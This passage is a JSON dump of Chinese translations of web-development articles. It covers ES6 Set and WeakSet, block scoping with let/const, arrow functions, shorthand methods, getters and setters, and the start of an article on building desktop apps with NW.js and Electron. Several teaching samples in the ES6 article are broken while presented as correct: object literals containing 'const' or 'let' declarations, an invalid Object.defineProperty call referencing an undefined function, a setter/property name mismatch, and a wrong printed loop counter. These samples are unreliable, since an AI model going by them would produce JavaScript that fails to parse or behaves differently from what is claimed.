的遍历和长度检测。\n\n其他的案例，可以在这里找到 [Use Cases for WeakMap](http://exploringjs.com/es6/ch_maps-sets.html#_use-cases-for-weakmaps)，来自 Exploring ES6.\n\n## Set\n\n**Set** 就是只包含一个值的集合。换句换说，每个 set 的元素只会出现一次。\n\n这是一个有用的数据类型，如果你要追踪唯一并且固定的 object ,比如说聊天室的当前用户。\n\nSet 和 Map 有完全相同的 API。主要的不同是 Set 没有 `set` 方法，因为它不能存储键值对。剩下的几乎相同。\n\n    \"use strict\";\n\n    // 构造器\n    let scotch_collection = new Set();\n\n    // 基本的 API 方法\n    // Set.prototype.add (O) :: 和 set 一样，添加一个对象\n    scotch_collection.add('Lagavulin 18');\n    scotch_collection.add('The Dalmore');\n\n    // 你也可以用数组构造一个 set\n    scotch_collection = new Set(['Lagavulin 18', 'The Dalmore']);\n\n    // 所有的 set 都有一个 length 属性。这个属性会告诉你 set 里有多少对象\n    //   用 set 或 map 的时候，一定记住用 size，不用 length\n    console.log(scotch_collection.size); // 2\n\n    // Set.prototype.has(O) :: 包含对象 O 返回 true 否则返回 false\n    console.log(scotch_collection.has('The Dalmore')); // true\n    console.log(scotch_collection.has('Glenfiddich 18')); // false\n\n    // Set.prototype.delete(O) :: 删除 set 中的 O 对象，成功返回 true，不存在返回 false\n    scotch_collection.delete('The Dalmore'); // true -- break my heart\n\n    // Set.prototype.clear() :: 删除 set 中的所有对象\n    scotch_collection.clear();\n    console.log( scotch_collection ); // Set {} -- long night.\n\n    /* 迭代方法\n     * Set 提供了多种方法遍历\n     *  重新设置值，继续探索 */\n    scotch_collection.add('Lagavulin 18');\n    scotch_collection.add('Glenfiddich 18');\n\n    /* Set.prototype.forEach(callback[, thisArg]) :: 执行一个函数，回调函数\n     *  set 里在每个的键值对。 You can set the value of 'this' inside \n     *  the callback by passing a thisArg, but that's optional and seldom necessary. */\n    scotch_collection.forEach(function (scotch) {\n        console.log(`Excuse me while I sip this ${scotch}.`);\n    });\n\n    // Set.prototype.values() :: 返回 set 中的所有值\n    let scotch_names = scotch_collection.values();\n    for (let name of scotch_names) {\n        console.log(`I just drank ${name} . . . I think.`);\n    }\n \n    // Set.prototype.keys() ::  对 set 来说，和 Set.prototype.values() 方法一致\n    scotch_names = scotch_collection.keys();\n    for (let name of scotch_names) {\n        console.log(`I just drank ${name} . . . I think.`);\n    }\n\n    /* Set.prototype.entries() :: 返回 map 的所有键值对，提供一个包含两个元素的数组 \n     *   这有点多余，但是这种方法可以保留 map API 的可操作性\n     *    */\n    const entries = scotch_collection.entries();\n    for (let entry of entries) {\n        console.log(`I got some ${entry[0]} in my cup and more ${entry[1]} in my flask!`);\n    }\n\n## WeakSet\n\nWeakSet 相对于 Set 就像 WeakMap 相对于 Map :\n\n1.  在 WeakSet 里 object 的引用是弱类型的。 \n2.  WeakSet 没有 property 属性。\n3.  不能遍历 WeakSet。\n\nWeak set的用例并不多，但是这儿有一些 [Domenic Denicola](https://mail.mozilla.org/pipermail/es-discuss/2015-June/043027.html) 称呼它们为 \"perfect for branding\" -- 意思就是标记一个对象以满足其他需求。\n\n这儿是他给的例子:\n\n    /* 下面这个例子来自 Weakset 使用案例的邮件讨论 \n      *    邮件的内容和讨论的其余部分在这儿:\n      *      https://mail.mozilla.org/pipermail/es-discuss/2015-June/043027.html\n      */\n\n    const foos = new WeakSet();\n\n    class Foo {\n      constructor() {\n        foos.add(this);\n      }\n\n      method() {\n        if (!foos.has(this)) {\n          throw new TypeError(\"Foo.prototype.method called on an incompatible object!\");\n        }\n      }\n    }\n\n这是一个轻量科学的方法防止大家在一个 _没有_ 被 `Foo` 构造出的 object 上使用 `method`。\n\n使用的 WeakSet 的优势是允许 `foo` 里的 object 使用完后被垃圾回收。\n\n## 总结\n\n这篇文章里，我们已经了解了 ES2015 带来的一些好处，从 `string` 的便捷方法和模板变量到适当的Map 和 Set 实现。\n\n`String` 方法 和 模板字符串易于上手。同时你很快也就不用到处用 weak set 了，我认为你很快就会喜欢上 Set 和 Map。\n\n如何你有任何问题，请在下方留言，或在 Twitter([@PelekeS](http://twitter.com/PelekeS) 上跟我联系-- 我会逐一答复。\n\n"
  },
  {
    "path": "TODO/better-node-with-es6-pt-i.md",
    "content": ">* 原文链接 : [Better Node with ES6, Pt. I](https://scotch.io/tutorials/better-node-with-es6-pt-i)\n* 原文作者 : [Peleke](https://github.com/Peleke)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [huanglizhuo](https://github.com/huanglizhuo) \n* 校对者: [yllziv](https://github.com/yllziv) , [godofchina](https://github.com/godofchina)\n\n# 使用 ES6 写更好的 JavaScript part I：广受欢迎的新特性\n\n## 介绍 \n\n在 ES2015 规范敲定并且 Node.js 增添了大量的函数式子集的背景下，我们终于可以拍着胸脯说：未来就在眼前。\n\n. . . 我早就想这样说了\n\n但这是真的。[V8 引擎将很快实现规范](http://v8project.blogspot.com/2016/03/v8-release-50.html)，而且 [Node 已经添加了大量可用于生产环境的 ES2015 特性](https://nodejs.org/en/docs/es6/)。下面要列出的是一些我认为很有必要的特性，而且这些特性是不使用需要像 [Babel](https://babeljs.io/) 或者 [Traceur](https://github.com/google/traceur-compiler) 这样的翻译器就可以直接使用的。\n\n这篇文章将会讲到三个相当流行的 ES2015 特性，并且已经在 Node 中支持了了：\n\n*   用 `let` 和 `const` 声明块级作用域；\n*   箭头函数；\n*   简写属性和方法。\n\n让我们马上开始。\n\n## `let` 和 `const` 声明块级作用域\n\n**作用域** 是你程序中变量可见的区域。换句话说就是一系列的规则，它们决定了你声明的变量在哪里是可以使用的。\n\n大家应该都听过 ，在 JavaScript 中只有在函数内部才会创造新的作用域。然而你创建的 98% 的作用域事实上都是函数作用域，其实在 JavaScript 中有三种创建新作用域的方法。你可以这样：\n\n1.  **创建一个函数**。你应该已经知道这种方式。\n2.  **创建一个 `catch` 块**。 [我绝对没哟开玩笑](https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20&%20closures/apB.md).\n3.  **创建一个代码块**。如果你用的是 ES2015，在一段代码块中用 `let` 或者 `const` 声明的变量会限制它们**只在**这个块中可见。这叫做_块级作用域_.\n\n一个_代码块_就是你用花括号包起来的部分。 `{ 像这样 }`。在 `if`/`else` 声明和 `try`/`catch`/`finally` 块中经常出现。如果你想利用块作用域的优势，你可以用花括号包裹任意的代码来创建一个代码块\n\n考虑下面的代码片段。\n\n    // 在 Node 中你需要使用 strict 模式尝试这个\n    \"use strict\";\n\n    var foo = \"foo\";\n    function baz() {\n        if (foo) {\n            var bar = \"bar\";\n            let foobar = foo + bar;\n        }\n        // foo 和 bar 这里都可见 \n        console.log(\"This situation is \" + foo + bar + \". I'm going home.\");\n\n        try {\n            console.log(\"This log statement is \" + foobar + \"! It threw a ReferenceError at me!\");\n        } catch (err) {\n            console.log(\"You got a \" + err + \"; no dice.\");\n        }\n\n        try {\n            console.log(\"Just to prove to you that \" + err + \" doesn't exit outside of the above `catch` block.\");\n        } catch (err) {\n            console.log(\"Told you so.\");\n        }\n    }\n\n    baz();\n\n    try {\n        console.log(invisible);\n    } catch (err) {\n        console.log(\"invisible hasn't been declared, yet, so we get a \" + err);\n    }\n    let invisible = \"You can't see me, yet\"; // let 声明的变量在声明前是不可访问的\n\n\n还有些要强调的\n\n*   注意 `foobar` 在 `if` 块之外是不可见的，因为我们没有用`let` 声明；\n*   我们可以在任何地方使用 `foo` ，因为我们用 `var` 定义它为全局作用域可见；\n*   我们可以在 `baz` 内部任何地方使用 `bar`， 因为 `var`-声明的变量是在定义的整个作用域内都可见。\n*   用 let or const 声明的变量不能在定义前调用。换句话说，它不会像 `var` 变量一样被编译器提升到作用域的开始处。\n\n`const` 与 `let` 类似，但有两点不同。\n\n\n1.  _必须_ 给声明为 `const` 的变量在声明时赋值。不可以先声明后赋值。\n2.  _不能_ 改变`const`变量的值，只有在创建它时可以给它赋值。如果你试图改变它的值，会得到一个 `TyepError`。\n\n### `let` & `const`: Who Cares?\n\n我们已经用 `var` 将就了二十多年了，你可能在想我们_真的_需要新的类型声明关键字吗？（这里作者应该是想表达这个意思）\n\n问的好，简单的回答就是-- 不， 并不 _真正_ 需要。但在可以用`let` 和 `const` 的地方使用它们很有好处的。\n\n*   `let` 和 `const` 声明变量时都不会被提升到作用域开始的地方，这样可以使代码可读性更强，制造尽可能少的迷惑。\n*   它会尽可能的约束变量的作用域，有助于减少令人迷惑的命名冲突。\n*   这样可以让程序只有在必须重新分配变量的情况下重新分配变量。 `const` 可以加强常量的引用。\n\n另一个例子就是 `let` 在 `for` 循环中的使用：\n\n    \"use strict\";\n\n    var languages = ['Danish', 'Norwegian', 'Swedish'];\n\n    //会污染全局变量!\n    for (var i = 0; i < languages.length; i += 1) {\n        console.log(`${languages[i]} is a Scandinavian language.`);\n    }\n\n    console.log(i); // 4\n\n    for (let j = 0; j < languages.length; j += 1) {\n        console.log(`${languages[j]} is a Scandinavian language.`);\n    }\n\n    try {\n        console.log(j); // Reference error\n    } catch (err) {\n        console.log(`You got a ${err}; no dice.`);\n    }\n\n在 `for`循环中使用 `var` 声明的计数器并不会 _真正_ 把计数器的值限制在本次循环中。 而 `let` 可以。\n\n`let` 在每次迭代时重新绑定循环变量有很大的优势，这样每个循环中拷贝 自身 , 而不是共享全局范围内的变量。\n\n    \"use strict\";\n\n    // 简洁明了\n    for (let i = 1; i < 6; i += 1) {\n        setTimeout(function() {\n            console.log(\"I've waited \" + i + \" seconds!\");\n        }, 1000 * i);\n    }\n\n    // 功能完全混乱\n    for (var j = 0; j < 6; j += 1) {\n            setTimeout(function() {\n            console.log(\"I've waited \" + j + \" seconds for this!\");\n        }, 1000 * j);\n    }\n\n第一层循环会和你想象的一样工作。而下面的会每秒输出 \"I've waited 6 seconds!\"。\n\n好吧，我选择狗带。\n\n## 动态 `this` 关键字的怪异\n\nJavaScript 的 `this` 关键字因为总是不按套路出牌而臭名昭著。\n\n事实上，它的 [规则相当简单](https://github.com/getify/You-Dont-Know-JS/tree/master/this%20%26%20object%20prototypes)。不管怎么说，`this` 在有些情形下会导致奇怪的用法\n\n    \"use strict\";\n\n    const polyglot = {\n        name : \"Michel Thomas\",\n        languages : [\"Spanish\", \"French\", \"Italian\", \"German\", \"Polish\"],\n        introduce : function () {\n            // this.name is \"Michel Thomas\"\n            const self = this;\n            this.languages.forEach(function(language) {\n                // this.name is undefined, so we have to use our saved \"self\" variable \n                console.log(\"My name is \" + self.name + \", and I speak \" + language + \".\");\n            });\n        }\n    }\n\n    polyglot.introduce();\n\n在 `introduce` 里, `this.name` 是 `undefined`。在回调函数外面，也就是 `forEach` 中， 它指向了 `polyglot` 对象。在这种情形下我们总是希望在函数内部 `this` 和函数外部的 `this` 指向同一个对象。\n\n问题是在 JavaScript 中函数会根据[确定性四原则](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/ch2.md)在调用时定义自己的 `this` 变量。这就是著名的 _动态 `this`_ 机制。\n\n这些规则中没有一个是关于查找 this 所描述的“附近作用域”的；也就是说并没有一个确切的方法可以让 JavaScript 引擎能够基于包裹作用域来定义 this的含义。\n\n这就意味着当引擎查找 `this` 的值时，可以找到值，但却和回调函数之外的不是同一个值。有两种传统的方案可以解决这个问题。\n\n1.  在函数外面吧 `this` 保存到一个变量中，通常取名 `self`，并在内部函数中使用；或者\n2.  在内部函数中调用 [`bind`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) 阻止对 `this` 的赋值。 \n\n以上两种办法均可生效，但会产生副作用。\n\n另一方面，如果内部函数 _没有_ 设置它自己的 `this` 值，JavaScript 会像查找其它变量那样查找 `this` 的值：通过遍历父作用域直到找到同名的变量。这样会让我们使用附近作用域代码中的 this 值，这就是著名的 _词法 `this`_ 。\n\n如果有样的特性，我们的代码将会更加的清晰，不是吗?\n\n### 箭头函数中的词法 `this` \n在 ES2015 中，我们有了这一特性。箭头函数 _不会_ 绑定 `this` 值，允许我们利用词法绑定 `this` 关键字。这样我们就可以像这样重构上面的代码了：\n\n    \"use strict\";\n\n    let polyglot = {\n        name : \"Michel Thomas\",\n        languages : [\"Spanish\", \"French\", \"Italian\", \"German\", \"Polish\"],\n        introduce : function () {\n            this.languages.forEach((language) => {\n                console.log(\"My name is \" + this.name + \", and I speak \" + language + \".\");\n            });\n        }\n    }\n\n. . . 这样就会按照我们想的那样工作了。\n\n箭头函数有一些新的语法。\n\n    \"use strict\";\n\n    let languages = [\"Spanish\", \"French\", \"Italian\", \"German\", \"Polish\"];\n\n    // 多行箭头函数必须使用花括号， \n    // 必须明确包含返回值语句\n        let languages_lower = languages.map((language) => {\n        return language.toLowerCase()\n    });\n\n    // 单行箭头函数，花括号是可省的，\n    // 函数默认返回最后一个表达式的值\n    // 你可以指明返回语句，这是可选的。\n    let languages_lower = languages.map((language) => language.toLowerCase());\n\n    // 如果你的箭头函数只有一个参数，可以省略括号\n    let languages_lower = languages.map(language => language.toLowerCase());\n\n    // 如果箭头函数有多个参数，必须用圆括号包裹\n    let languages_lower = languages.map((language, unused_param) => language.toLowerCase());\n\n    console.log(languages_lower); // [\"spanish\", \"french\", \"italian\", \"german\", \"polish\"]\n\n    // 最后，如果你的函数没有参数，你必须在箭头前加上空的括号。\n    (() => alert(\"Hello!\"))();\n\n[MDN 关于箭头函数的文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) 解释的很好。\n\n## 简写属性和方法\n\nES2015 提供了在对象上定义属性和方法的一些新方式。\n\n### 简写方法\n\n在 JavaScript 中， _method_ 是对象的一个有函数值的属性：\n\n    \"use strict\";\n\n    const myObject = {\n        const foo = function () {\n            console.log('bar');\n        },\n    }\n\n在ES2015 中，我们可以这样简写：\n\n    \"use strict\";\n\n    const myObject = {\n        foo () {\n            console.log('bar');\n        },\n        * range (from, to) {\n            while (from < to) {\n                if (from === to)\n                    return ++from;\n                else\n                    yield from ++;\n            }\n        }\n    }\n\n注意你也可以使用生成器去定义方法。只需要在函数名前面加一个星号 (*)。\n\n这些叫做 _方法定义_ 。和传统的函数作为属性很像，但有一些不同：\n\n*   _只能_ 在方法定义处调用 `super` ；\n*   _不允许_ 用 `new` 调用方法定义。\n\n我会在随后的几篇文章中讲到 `super` 关键字。如果你等不及了， [Exploring ES6](http://exploringjs.com/es6/ch_classes.html) 中有关于它的干货。\n\n### 简写和推导属性\n\nES6 还引入了 _简写_ 和 _推导属性_ 。\n\n如果对象的键值和变量名是一致的，那么你可以仅用变量名来初始化你的对象，而不是定义冗余的键值对。\n\n    \"use strict\";\n\n    const foo = 'foo';\n    const bar = 'bar';\n\n    // 旧语法\n    const myObject = {\n        foo : foo,\n        bar : bar\n    };\n\n    // 新语法\n    const myObject = { foo, bar }\n\n两中语法都以 `foo` 和 `bar` 键值指向 `foo` and `bar` 变量。 后面的方式语义上更加一致；这只是个语法糖。\n\n当用[揭示模块模式](https://addyosmani.com/resources/essentialjsdesignpatterns/book/#revealingmodulepatternjavascript)来定义一些简洁的公共 API 的定义，我常常利用简写属性的优势。\n\n    \"use strict\";\n\n    function Module () {\n        function foo () {\n            return 'foo';\n        }\n\n        function bar () {\n            return 'bar';\n        }\n\n        // 这样写:\n        const publicAPI = { foo, bar }\n\n        /* 不要这样写:\n        const publicAPI =  {\n           foo : foo,\n           bar : bar\n        } */ \n\n        return publicAPI;\n    };\n\n这里我们创建并返回了一个 `publicAPI` 对象，键值 `foo` 指向 `foo` 方法，键值 `bar` 指向 `bar` 方法。\n\n### 推导属性名\n\n这是 _不常见_ 的例子，但 ES6 允许你用表达式做属性名。\n\n    \"use strict\";\n\n    const myObj = {\n      // 设置属性名为 foo 函数的返回值\n        [foo ()] () {\n          return 'foo';\n        }\n    };\n\n    function foo () {\n        return 'foo';\n    }\n\n    console.log(myObj.foo() ); // 'foo'\n\n根据 Dr. Raushmayer 在 [Exploring ES6](http://exploringjs.com/)中讲的，这种特性最主要的用途是设置属性名与 [Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) 值一样。\n\n### Getter 和 Setter 方法\n\n最后，我想提一下 `get` 和 `set` 方法，它们在 ES5 中就已经支持了。\n\n\n    \"use strict\";\n\n    // 例子采用的是 MDN's 上关于 getter 的内容\n    //   https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get\n    const speakingObj = {\n        // 记录 “speak” 方法调用过多少次\n        words : [],\n\n        speak (word) {\n            this.words.push(word);\n            console.log('speakingObj says ' + word + '!');\n        },\n\n        get called () {\n            // 返回最新的单词\n            const words = this.words;\n            if (!words.length)\n                return 'speakingObj hasn\\'t spoken, yet.';\n            else\n                return words[words.length - 1];\n        }\n    };\n\n    console.log(speakingObj.called); // 'speakingObj hasn't spoken, yet.'\n\n    speakingObj.speak('blargh'); // 'speakingObj says blargh!'\n\n    console.log(speakingObj.called); // 'blargh'\n\n使用 getters 时要记得下面这些:\n\n*   Getters 不接受参数；\n*   属性名不可以和 getter 函数重名；\n*   可以用 `Object.defineProperty(OBJECT, \"property name\", { get : function () { . . . } })` 动态创建 getter\n\n作为最后这点的例子，我们可以这样定义上面的 getter 方法：\n\n    \"use strict\";\n\n    const speakingObj = {\n        // 记录 “speak” 方法调用过多少次\n        words : [],\n\n        speak (word) {\n            this.words.push(word);\n            console.log('speakingObj says ' + word + '!');\n        }\n    };\n\n    // 这只是为了证明观点。我是绝对不会这样写的\n    function called () {\n        // 返回新的单词\n        const words = this.words;\n        if (!words.length)\n            return 'speakingObj hasn\\'t spoken, yet.';\n        else\n            return words[words.length - 1];\n    };\n\n    Object.defineProperty(speakingObj, \"called\", get : getCalled ) \n\n除了 getters，还有 setters。像平常一样，它们通过自定义的逻辑给对象设置属性。\n\n    \"use strict\";\n\n    // 创建一个新的 globetrotter（环球者）！\n    const globetrotter = {\n        // globetrotter 现在所处国家所说的语言 \n        const current_lang = undefined,\n\n        // globetrotter 已近环游过的国家\n        let countries = 0,\n\n        // 查看环游过哪些国家了\n        get countryCount () {\n            return this.countries;\n        }, \n\n        // 不论 globe trotter 飞到哪里，都重新设置他的语言\n        set languages (language) {\n            // 增加环游过的城市数\n            countries += 1;\n\n            // 重置当前语言\n            this.current_lang = language; \n        };\n    };\n\n    globetrotter.language = 'Japanese';\n    globetrotter.countryCount(); // 1\n\n    globetrotter.language = 'Spanish';\n    globetrotter.countryCount(); // 2\n\n上面讲的关于 getters 的也同样适用于 setters ，但有一点不同：\n\n*   getter _不接受_ 参数， setters _必须_ 接受 _正好一个_ 参数。\n\n破坏这些规则中的任意一个都会抛出一个错误。\n\n既然 Angular 2 正在引入 TypeCript 并且把 `class` 带到了台前，我希望 `get` and `set` 能够流行起来. . . 但还有点希望它们不要🔥起来。\n\n## 结论\n\n未来的 JavaScript 正在变成现实，是时候把它提供的东西都用起来了。这篇文章里，我们浏览了 ES2015 的三个很流行的特性：\n\n*   `let` 和 `const` 带来的块级作用域；\n*   箭头函数带来的 `this` 的词法作用域；\n*   简写属性和方法，以及 getter 和 setter 函数的回顾。\n\n关于 `let`，`const`，以及块级作用域的详细信息，请参考 [Kyle Simpson's take on block scoping](https://davidwalsh.name/for-and-against-let)。这里有你快速练习需要的所有指导，参考 MDN 关于 [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) 和 [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)的详细信息。\n\nDr Rauschmayer 写了一片篇[相当好的关于箭头函数和词法 `this` 的文章](http://www.2ality.com/2012/04/arrow-functions.html)。如果你想了解关于这篇文章更深层次的信息，这绝对是一篇好文。\n\n最后关于我们这里讨论的所有的更详细更深入的内容，请看 Dr Rauschmayer 的书 [Exploring ES6](http://exploringjs.com/)，这是最好的关于 web 最好的一体化指导手册。 \n\nES2015 的特性中哪个最让你激动? 有什么想让我在后面的文章中写入的新特性? 那就在下面或者在 Twitter 上 ([@PelekeS](http://twitter.com/PelekeS)) 评论吧 -- 我会尽最大的努力单独回复你的。\n"
  },
  {
    "path": "TODO/beyond-browser-web-desktop-apps.md",
    "content": "> * 原文地址：[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/)\n> * 原文作者：本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [bambooom](https://github.com/bambooom)、[imink](https://github.com/imink)\n> * 校对者：[bambooom](https://github.com/bambooom)、[imink](https://github.com/imink)、[sunui](https://github.com/sunui)\n\n## 超越浏览器：从 web 应用到桌面应用\n\n一开始我是个 web 开发者，现在我是个全栈开发者，但从未想过在桌面上有所作为。我热爱 web 技术，热爱这个无私的社区，热爱它对于开源的友好，尝试挑战极限。我热爱探索好看的网站和强大的应用。当我被指派做桌面应用任务的时候，我非常忧虑和害怕，因为那看起来很难，或者至少不一样。\n\n这并不吸引人，对吧？你需要学一门新的语言，甚至三门？想象一下过时的工作流，古旧的工具，没有任何你喜欢的有关 web 的一切。你的职业发展会被怎样影响呢？\n\n别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有开发现代桌面应用所需的一切技能，得益于新的强大的 API，你甚至可以在桌面应用中发挥你最大的潜能。\n\n本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，包括它们的优劣，以及如何使用同一套代码库来开发桌面、web 应用，甚至更多。\n\n### 为什么？\n\n首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集成中获益的 web 应用构建桌面应用；例如本地通知、开机启动、与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app，无论是否联网都可以访问。\n\n也许你有个想法，但只能用作桌面应用，有些事情只是在 web 应用中不可能实现（至少还有一点，但更多的是这一点）。你可能想要为公司内部创建一个独立的功能性应用程序，而不需要任何人安装除了你的 app 之外的任何内容（因为内置 Node.js ）。也许你有个有关 Mac 应用商店的想法，也许只是你的一个个人兴趣的小项目。\n\n很难总结为什么你应该考虑开发桌面应用，因为真的有很多类型的应用你可以创建。这非常取决于你想要达到什么目的，API 是否足够有利于开发，离线使用将多大程度上增强用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[聊天应用程序](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统集成的桌面应用应该做成一个 web 应用，并且只做 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。\n\n比起描述你个人应该建造的桌面应用及其原因，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及在创建过程中你应该付出什么。\n\n### NW.js\n\n桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从 2011 年的上海开始。来自 Intel 开源技术中心的 Roger Wang 开发了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户创建一个 WebKit 内核的浏览器窗口并直接在 `<script>` 中调用 Node.js 模块。\n\n经过一段时间的开发以及将内核从 WebKit 转换到 Chromium（Google Chrome 基于这个开源项目开发），一个叫 Cheng Zhao 的实习生加入了这个项目。不久就有人意识到一个基于 Node.js 和 Chromium 运行的应用是一个很好的建造桌面应用的框架。于是这个项目变得颇受欢迎。\n\n*注意*：node-webkit 后来更名为 NW.js，是因为项目不再使用 Node.js 以及 WebKit，所以需要改一个更通用的名字。Node.js 的替换选择是 io.js （Node.js fork 版本），Chromium 也已经从 WebKit 转为它自己的版本 —— Blink。\n\n所以，如果现在去下载一个 NW.js 应用，实际上是下载了 Chromium、Node.js，以及真正的 app 的代码。这不仅意味着桌面应用也可以使用 HTML、CSS、JavaScript 来写，也意味着 app 可以直接使用所有 Node.js 的 API（比如读取或写入硬盘），而对于终端用户，没有比这更好的选择了。这看起来非常强大，但是它是怎么实现的呢？我们先来了解一下 Chromium。\n\n![Chromium diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-preview-opt.png)\n\nChromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试在这里安排穿插主后台进程相关的内容，但是它包括了 Blink 渲染引擎、V8 JavaScript 引擎（也构建了 Node.js ）以及一些从原生 API 抽象出来的平台 API。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎、CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之间是用进程间通信（IPC）来进行通讯。\n\n![NW.js diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-preview-opt.png)\n\n\n\n大致上这就是一个 NW.js app 的结构，它和 Chromium 基本一致，除了每个窗口也可以访问 Node.js。现在，你可以访问 DOM，可以访问其他脚本、npm 安装的模块，或者 NW.js 提供的内置的模块。你的 app 默认只有一个窗口，但从这一个窗口，可以生成其他窗口。\n\n创建一个应用很简单，只需要一个 HTML 文件和一个 `package.json` 文件，就像你平时使用 Node.js 时那样。你可以使用 `npm init --yes` 新建一个默认的。一般来说，`package.json` 会指定一个 JavaScript 文件作为模块的入口（也就是使用 `main` 属性），但是如果是 NW.js，你需要去编辑一下 `main` 指向你的 HTML 文件。\n\n```json\n{\n  \"name\": \"example-app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.html\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\"\n}\n```\n\n```html\n<!-- index.html -->\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>Example app</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  </head>\n  <body>\n    <h1>Hello, world!</h1>\n  </body>\n</html>\n```\n\n只要你安装好了 `nw`（通过 `npm install -g nw`），你就可以在项目目录下执行 `nw .` 启动 app，然后就可以看到下图。\n\n![Example app screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsHelloWorld-preview-opt.png)\n\n就是这么简单。NW.js 初始化了第一个窗口，加载了你的 HTML 文件，虽然这看起来并没有什么，但接下来就是你来添加标签及样式了，就和在 web 应用中一样。\n\n你可以凭自己喜好去掉窗口栏，构建自己的框架模板。你可以有半透明或全透明的窗口，可以有隐藏窗口或者更多。我最近尝试使用 NW.js 做了[Clippy](http://engineroom.teamwork.com/resurrecting-clippy/)（Office 助手）。能在 macOS 和 Windows 10 上看到它有种奇妙的满足感。\n\n![Screenshot of clippy.desktop on macOS](https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-preview-opt.png)\n\n现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读写硬盘、执行系统命令、生成其他可执行文件等等。设想一下，你甚至可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。\n\n![Bar graph showing the number of modules per major package manager](https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-preview-opt.png)\n\n你不仅可以使用 Node.js 的 API，还有所有 npm 的包，现在已经有超过 35 万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。\n\n如果你需要做一些偏底层的事，Node.js 也有原生的模块，能让你使用 C 或者 C++ 创建模块。\n\n总之，NW.js 高效封装了原生的 API，让你可以简单地与桌面环境集成。比如你有一个任务栏图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个通知：\n\n```javascript\nnew Notification('Hello', {\n  body: 'world'\n});\n```\n\n### Electron\n\n你可能认出来了，下图是 GitHub 开发的编辑器，Atom。不管你是否使用 Atom，它的出现对于桌面应用都是一个颠覆者。GitHub 从 2013 年开始开发 Atom，后来 Cheng Zhao 加入，fork 了 node-webkit 作为基础，后来以 atom-shell 为名开源。\n\n![Atom screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/atom-preview-opt.png)\n\n*注意*：对于 Electron 只是 node-webkit 的 fork，还是一切从头重新做的，是很有争议的。但无论哪种方式，最终都成为终端用户的一个分支，因为 API 几乎完全一致。\n\n在开发 Atom 的过程中，GitHub 改进了一些方案，也解决了很多 bug。2015年，atom-shell 正式更名为 Electron。它的版本已经更新到 1.0 以上（译注：最新正式版本为v1.3.14），并且因为 GitHub 的推行，它已经真正发展壮大了。\n\n![Logos of projects that use Electron](https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-preview-opt.png)\n\n和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，真的是在做着一些尖端的东西。Mozilla Tofino 也是其中很有趣的一个，它是 Mozilla（ FireFox 的公司）的一个内部项目，目标是彻底优化浏览器。你没看错，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。\n\n### Electron 有什么不同呢？\n\n那么 Electron 和 NW.js 有什么不同？首先，Electron 没有 NW.js 那么面向浏览器，Electron app 的入口是一个在主进程中运行的脚本。\n\n![Electron architecture diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronDiagram-preview-opt-1.png)\n\nElectron 团队修补了 Chromium 以便嵌入多个可以同时运行的 JavaScript 引擎，所以当 Chromium 发布新版本的时候，他们不需要做任何事。\n\n*注意*：NW.js 与 Chromium 的绑定不太一样，造成了 